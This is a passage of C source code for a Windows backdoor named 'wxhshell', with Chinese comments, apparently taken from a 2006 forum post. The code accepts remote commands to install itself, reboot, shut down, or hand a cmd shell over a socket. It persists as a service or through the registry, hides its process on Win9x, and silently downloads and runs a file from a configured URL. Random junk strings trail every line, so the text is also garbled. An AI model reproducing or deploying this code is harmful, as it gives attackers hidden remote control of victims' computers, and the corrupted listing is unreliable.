  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o;'4c  
  } i-Ljff  
  else { j<|6s,&  
= tP$re";o  
    switch(cmd[0]) { I1J)#p%H.  
  l2M/ ,@G  
  // 帮助 ;W4:#/~14  
  case '?': { a:xgjUt&5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {N@Y<=+:  
    break; JbVi1?c  
  } 6A@Lj*:2m  
  // 安装 VG#$fRrZ  
  case 'i': { "$%{}{#W0  
    if(Install()) X!?wL 0n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL4 -4  
    else ?-M)54b\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cg?I'1]o6  
    break; K;kLQ2)  
    } {)jk_&c7  
  // 卸载 s2%0#6c'c  
  case 'r': { n+S&!PB  
    if(Uninstall()) %`N&ti  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iPJ9Gh7  
    else ^$?7H>=_ha  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > fhSaeN  
    break; s=}~Q&8  
    } r8H7TJI0   
  // 显示 wxhshell 所在路径 rQuOt  
  case 'p': { pIrv$^  
    char svExeFile[MAX_PATH]; ]b!R-G!gV  
    strcpy(svExeFile,"\n\r"); z4 nou>  
      strcat(svExeFile,ExeFile); >cSi/a,L  
        send(wsh,svExeFile,strlen(svExeFile),0); $R3.yX=[\  
    break; T=O l`?5  
    } 2@OBeR  
  // 重启 `,Q<YT ~  
  case 'b': { ] +sSg=N7i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >dcqPNDg1^  
    if(Boot(REBOOT)) 1_XO3P\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nN!vgn j  
    else { la1D2 lM  
    closesocket(wsh); MH2OqiCI  
    ExitThread(0); <m:4g ,6  
    } C!oksI  
    break; RbyF#[}  
    } |^\ Hv5  
  // 关机 ``/y=k/au  
  case 'd': { ?cA8P.?^A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aslNlH6  
    if(Boot(SHUTDOWN)) _g^E%@'W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs^jk)Z:)  
    else { "o~N42DLB%  
    closesocket(wsh); yDDghW'\WU  
    ExitThread(0); dW:w<{a!R  
    } T;xHIg4  
    break; f45;fT>   
    } !e9N3Ga  
  // 获取shell ]Sk#a-^~  
  case 's': { {: Am9B  
    CmdShell(wsh); #xD&z^o  
    closesocket(wsh); Jq=X!mT d.  
    ExitThread(0); A;b=E[i v  
    break; p,!fIx  
  } V_7 Y1GD  
  // 退出 zLE>kK  
  case 'x': { AD0ptHUBa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 yxZ  
    CloseIt(wsh); X=-gAutfE=  
    break; cS. 7\0$  
    } ^M[-K`c}  
  // 离开 Mt]=v}z  
  case 'q': { _m) gO/02A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h0&>GY;i  
    closesocket(wsh); I%.jc2kK  
    WSACleanup(); & bp#1KR)  
    exit(1); ~m009  
    break; f]{1ZU%4  
        } A8CIP:Z  
  } V!jK3vc  
  } _3-RoA'UZr  
5(mCBH  
  // 提示信息 .`i'gPLkn2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7<Z~\3x  
} g]oc(RM  
  } S&gKgQD"Q  
.rD#1)O  
  return; |*/uN~[  
} w%%6[<3%  
QE`:jxyad  
// shell模块句柄 ~ 4p]E'b  
int CmdShell(SOCKET sock) V NJDl  
{ P':]A{<Z  
STARTUPINFO si; 2^k^"<h5j  
ZeroMemory(&si,sizeof(si)); Dohl,d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jpPdjQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oho AUT  
PROCESS_INFORMATION ProcessInfo; S|O%h}AH;  
char cmdline[]="cmd"; *Xf[b)FR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o`JlXuG?o  
  return 0; vfk7J5y  
} ?Oe_} jv;  
~jgN_jz  
// 自身启动模式 UpE1PLZlB  
int StartFromService(void) $; KQY7  
{ ;%3thm7+  
typedef struct 9!Q $GE?vl  
{ Q0[CH~  
  DWORD ExitStatus; ~{3o(gzl  
  DWORD PebBaseAddress; n9mM5H47  
  DWORD AffinityMask; ImT+8p a  
  DWORD BasePriority; rTm>8et  
  ULONG UniqueProcessId; 0k. #  
  ULONG InheritedFromUniqueProcessId; 7>c 0V&  
}   PROCESS_BASIC_INFORMATION; Q KDb  
c)n0D=  
PROCNTQSIP NtQueryInformationProcess; 6@,'m  
Q T0IW(A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6cgpg+-a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )\:lYI}Wpm  
*cI6 &;y  
  HANDLE             hProcess;  !z "a_  
  PROCESS_BASIC_INFORMATION pbi; m;$F@JJ  
!)l%EJngL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z_[ 3IAZ  
  if(NULL == hInst ) return 0; hhh: rmEZl  
af`f*{Co3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0qotC6l~_w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ z"ci$[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  5K_N  
sEgeS9a{  
  if (!NtQueryInformationProcess) return 0; Fh3Dc 83~  
f6aT[Nw<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (dGM;Dq8  
  if(!hProcess) return 0; >uqS  
L`VQ{|&3V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R fVV(X  
hBYh90]  
  CloseHandle(hProcess); ,sRrV $,"  
O. .@<.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~[ ks|  
if(hProcess==NULL) return 0; BSq;R G(  
`hQ!*f6  
HMODULE hMod; }GU6Q|s[u[  
char procName[255]; sQ3ayB`  
unsigned long cbNeeded; S:B- nI  
ngH~4HyT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c?3F9 w#  
ck4T#g;=  
  CloseHandle(hProcess); 9DP75 ti  
[> aoDJ  
if(strstr(procName,"services")) return 1; // 以服务启动 K:lT-*+S  
sLpCWIy  
  return 0; // 注册表启动 U K]{]-  
} v#YS`];B  
LBiv]3  
// 主模块 zLIa! -C  
int StartWxhshell(LPSTR lpCmdLine) MWd_ 6XM  
{ TckR_0LNV  
  SOCKET wsl; v2uS 6  
BOOL val=TRUE; oJz:uv8Pe.  
  int port=0; JNA}EY^2I.  
  struct sockaddr_in door; hvv>UC/  
Kt&$Si  
  if(wscfg.ws_autoins) Install(); 0Ts_"p  
FO3eg"{N  
port=atoi(lpCmdLine); BBuYO$p  
~sU! 1  
if(port<=0) port=wscfg.ws_port; V n!az}  
5 xzB1n8  
  WSADATA data; }FdcbNsP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xta>  
eMP Q| W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FoelOq6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ ]e w@C  
  door.sin_family = AF_INET; ] F) -}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +/UXy2VRt$  
  door.sin_port = htons(port); Le$u$ulS  
KA*l6`(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3~1lVU:  
closesocket(wsl); #+DmH  
return 1; (A<sFw?  
} _F$t#.o  
:tS>D5dz(  
  if(listen(wsl,2) == INVALID_SOCKET) { }SvWC8  
closesocket(wsl); ?0)XS<  
return 1; sZP3xh[B  
} ~[/c'3+4qn  
  Wxhshell(wsl); FSZoT!  
  WSACleanup(); hm} :Me$[)  
p(&o'{fb  
return 0; `0WA!(W  
E1 gTrMo  
} zxmI/]3+/  
*/dsMa  
// 以NT服务方式启动 `m0Uj9)#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Aoqtz d\  
{ "Ohpb!J9  
DWORD   status = 0; 3 BhA.o  
  DWORD   specificError = 0xfffffff; ua>~$`@gX  
Z.OrHg1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -3%)nV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sTstc+w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U.sPFt  
  serviceStatus.dwWin32ExitCode     = 0; )KhVUFS1  
  serviceStatus.dwServiceSpecificExitCode = 0; v.&*z48  
  serviceStatus.dwCheckPoint       = 0; _*B~ESC0  
  serviceStatus.dwWaitHint       = 0; c5+lm}R?  
l*MUDT@M8\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #$rT 4N c;  
  if (hServiceStatusHandle==0) return; tZ24}~da  
QN8Hz/}\  
status = GetLastError(); h_"/@6  
  if (status!=NO_ERROR) &UH z  
{ { RX|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jY6=+9Jz5  
    serviceStatus.dwCheckPoint       = 0; rd~W.b_b  
    serviceStatus.dwWaitHint       = 0; dnc!=Z89  
    serviceStatus.dwWin32ExitCode     = status; )7mJ+d[  
    serviceStatus.dwServiceSpecificExitCode = specificError; _q}%!#4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T.N7`  
    return; NJ!#0[@C  
  } Dk6\p~q  
/1 %0A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -2Cf)>`v  
  serviceStatus.dwCheckPoint       = 0; w/D m  
  serviceStatus.dwWaitHint       = 0; zk~rKQ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2l4i-;  
} t|"d#5'  
;9\0x  
// 处理NT服务事件,比如:启动、停止 Nmq5Tv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mzR @P$:36  
{ =zGz|YI*?  
switch(fdwControl) Rk0 rHC6[  
{ Y[]t_o)  
case SERVICE_CONTROL_STOP: {NqGWkGt*b  
  serviceStatus.dwWin32ExitCode = 0; 5Cka."bQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qz SI cI  
  serviceStatus.dwCheckPoint   = 0; ~i#xjD5  
  serviceStatus.dwWaitHint     = 0; l:/V%{sx  
  { )%c)-c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =W^L8!BE'  
  } ADUI@#vk  
  return; ")buDU6_  
case SERVICE_CONTROL_PAUSE: <4bo7XH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .]l2)OlLQ  
  break; ^/,yZ:  
case SERVICE_CONTROL_CONTINUE: h /Nt92  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AtYYu  
  break; =Bx~'RYl1d  
case SERVICE_CONTROL_INTERROGATE: }'- )  
  break; r\`m[Q  
}; [! BH3J!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Ou)F;r  
} _xsYcw~)  
bm?TMhC  
// 标准应用程序主函数 >f/g:[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [RuY'  
{ 4(IP  
\Y p oJ!-  
// 获取操作系统版本 N`MQHQ1  
OsIsNt=GetOsVer(); 2G;d2LR:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xn[di-L F  
HPB1d!^  
  // 从命令行安装 N*W.V,6yH  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lo4t:H&  
u6RHn;b  
  // 下载执行文件 u>#'Y+7  
if(wscfg.ws_downexe) { H0 t1& :  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;wZ.p"T9^  
  WinExec(wscfg.ws_filenam,SW_HIDE); (H^o8J   
} /+YWp>6LU  
@RW%EXKt  
if(!OsIsNt) { 9b6h!(  
// 如果时win9x,隐藏进程并且设置为注册表启动 {\I \4P  
HideProc(); iL<O|'be  
StartWxhshell(lpCmdLine); uI/ A_  
} *uR'eXW  
else M`'2 a  
  if(StartFromService()) l:HuG!  
  // 以服务方式启动 ,fRb6s-  
  StartServiceCtrlDispatcher(DispatchTable); xH uyfQLk  
else )1le-SC  
  // 普通方式启动 Ns(F%zkm  
  StartWxhshell(lpCmdLine); 8qveKS]vZ  
Jjv&@a}  
return 0; >{Djx  
}
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只看该作者 1 发表于: 2006-10-10
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